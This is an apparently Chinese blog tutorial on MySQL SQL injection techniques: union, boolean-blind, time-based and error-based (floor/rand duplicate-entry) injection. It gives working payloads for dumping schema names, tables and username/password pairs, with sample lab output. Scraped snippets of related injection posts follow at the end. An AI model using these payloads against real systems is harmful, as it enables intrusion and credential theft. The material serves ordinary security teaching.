mysql延時注入 SQL注入的幾種形式和理解

2021-10-12 21:09:48 字數 4209 閱讀 6548

各位扥扥早!

好了廢話不多說了,如果有用請**出去。

sql注入理解

1. 定義/型別

定義:簡單來說,當客戶端提交的資料未做處理或轉義直接帶入資料庫就造成了sql注入。

注入型別分為:

1. 整型(沒有單雙引號)

2. 字串(有單雙引號)

3. 其他細分的型別本質上就是整型和字串的區別

2.聯合注入

union連線查詢(字段必須和**字段總數相符)

獲取資料庫資訊

' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

mysql> select *from admin where username='hello' union select 1,database();

+----------+----------+

| username | password |

+----------+----------+

| hello | 123 |

| 1 | sqltest |

+----------+----------+

//sqltest為資料庫名稱

爆破資料庫表

' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

爆破欄位名

select group_concat(column_name) from information_schema.columns where table_name='users'

select *from admin where 1=1 union select 1,table_name from information_schema.tables where table_schema='sqltest';//資訊點:資料庫名和資料庫中的表名

select column_name from information_schema.columns where table_name='admin';

//已知表名找欄位名

獲取欄位下一條 limit 1,1

最後已知欄位和表名就可以獲取內容啦!

but,要是不能輸入單引號或者雙引號呢?

'admin' ====> 0x61646d696e(asciihex)

3.匯出資料庫別名拿shell

4.布林注入

分析:username=『中間的'人為閉合,使得 or 2>1 可以執行』

mysql的注釋(很有用):空格--空格 或者 #

select username,password from user where username='1' or true;

select username,password from user where username='1' or !false;

mid(str,1,3)字串擷取

ord()轉成ascii碼

length()統計位元組長度

步驟:(手工注入)

1.獲取資料庫長度

username=111' or length(database()) >1 # &password=222;//布林注入的結果為真假,所以要判斷,知道長度後》改為=

2.獲取資料庫名稱

ord(mid(database(),1,1))//對照ascii碼表

ord(mid(database(),2,1))

ord(mid(database(),3,1))

...3.獲取表數目

or (select count(table_name) from information_schema.tables where table_schema=database())=1;

4.獲取表名長度

第乙個表長:

select length(table_name)from information_schema.tables where table_schema=database() limit 0,1;

第二個表長:

select length(table_name)from information_schema.tables where table_schema=database() limit 1,1;

5.獲取表名

6.獲取字段總數

column_name from information_schema.columns where table_name=

7.獲取字段長度

8.獲取欄位名

9.獲取字段內容

10.獲取內容長度

select length(concat(username,'-----'password)) from 表名 limit 0,1;

11.獲取內容

select concat(username,'-----'password) from 表名 limit 0,1;

5. 延時注入(與布林類似)
if(條件,true,false)

sleep(5);

獲取資料庫總數

select count(schema_name) from information_schema.schemata;

獲取資料庫名稱

select schema_name from information_schema.schemata limit 0,1;

延時注入

sleep(if((select count(schema_name) from information_schema.schemata)>1,0,5));

6.mysql之bug注入

注意:**的內容要有3條以上才有效

1.爆資料庫

select concat(floor(rand(0)*2),'*****==',(select database()))as xx, count(1)from admin group by xx;

error 1062 (23000): duplicate entry '1*****==sqltest' for key ''

2.爆表名

select concat(floor(rand(0)*2),'*****==',(select (table_name) from information_schema.tables where table_schema=database()))as xx, count(1)from admin group by xx;

error 1062 (23000): duplicate entry '1*****==admin' for key ''

3.爆欄位

select concat(floor(rand(0)*2),'*****==',(select concat(username,'----',password) from admin limit 0,1)) as xx, count(1)from admin group by xx;

error 1062 (23000): duplicate entry '1*****==bai----123' for key ''

//語法錯誤什麼的錯誤**是1064,報錯注入的錯誤**是1062

到了演示最後了,不知道是否幫助到各位?

SQL注入 MYSQL

並不通用,條件苛刻 sql語句中,擷取字串函式的索引是從1開始的,php中是從0開始的 1.過濾or,and,xor 1 首先oorr有用 2 有用 3 有用 4 十六進製制編碼 select column name from information schema.columns where tab...

mysql中文注入 SQL注入之Mysql報錯注入

志向和熱愛是偉大行為的雙翼。昨天偷懶了沒學什麼東西,先自我反省一下 今天認真的學習了一下mysql報錯注入利用方法及原理,好久之前就像認真的學一下這個了,是在上海市大學生網路安全大賽中遇到的web100。當時懵逼狀態,被學長提醒了一下才知道是mysql報錯注入,因為之前一直都沒接觸過,所以當時只是知...

ACCESS延時注入

這也算是個新知識吧。今天遇到個站,實實在在存在注入,但是弄不出欄位。本應該可以用便宜注入。但是不知道為什麼就是就是弄不出來.payload select count from msysaccessobjects as t1,msysaccessobjects as t2,msysaccessobje...